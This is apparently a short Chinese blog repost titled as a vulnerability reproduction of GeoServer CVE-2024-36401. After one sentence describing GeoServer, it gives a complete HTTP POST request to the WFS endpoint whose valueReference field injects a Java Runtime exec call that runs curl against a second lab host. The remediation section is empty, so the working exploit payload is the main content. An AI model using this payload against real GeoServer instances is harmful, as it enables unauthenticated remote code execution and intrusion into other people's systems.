GeoServer 是 OpenGIS Web 服务器规范的 J2EE 实现，利用 GeoServer可以方便的发布地图数据，允许用户对特征数据进行更新、删除、插入操作，通过 GeoServer 可以比较容易的在用户之间迅速共享空间地理信息。
CVE-2024-36401
POST /geoserver/wfs HTTP/1.1Host: 192.168.31.133:8080Content-Type: application/xmlContent-Length: 338<wfs:GetPropertyValue service='WFS' version='2.0.0' xmlns:topp='http://www.openplans.org/topp' xmlns:fes='http://www.opengis.net/fes/2.0' xmlns:wfs='http://www.opengis.net/wfs/2.0' valueReference='exec(java.lang.Runtime.getRuntime(),"curl http://192.168.31.129:9999/123.txt")'> <wfs:Query typeNames='topp:states'/></wfs:GetPropertyValue>
0X03 修复建议
0X04
原文始发于微信公众号（皓月的笔记本）：【漏洞复现】GeoServer 代码执行漏洞（CVE-2024-36401）
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论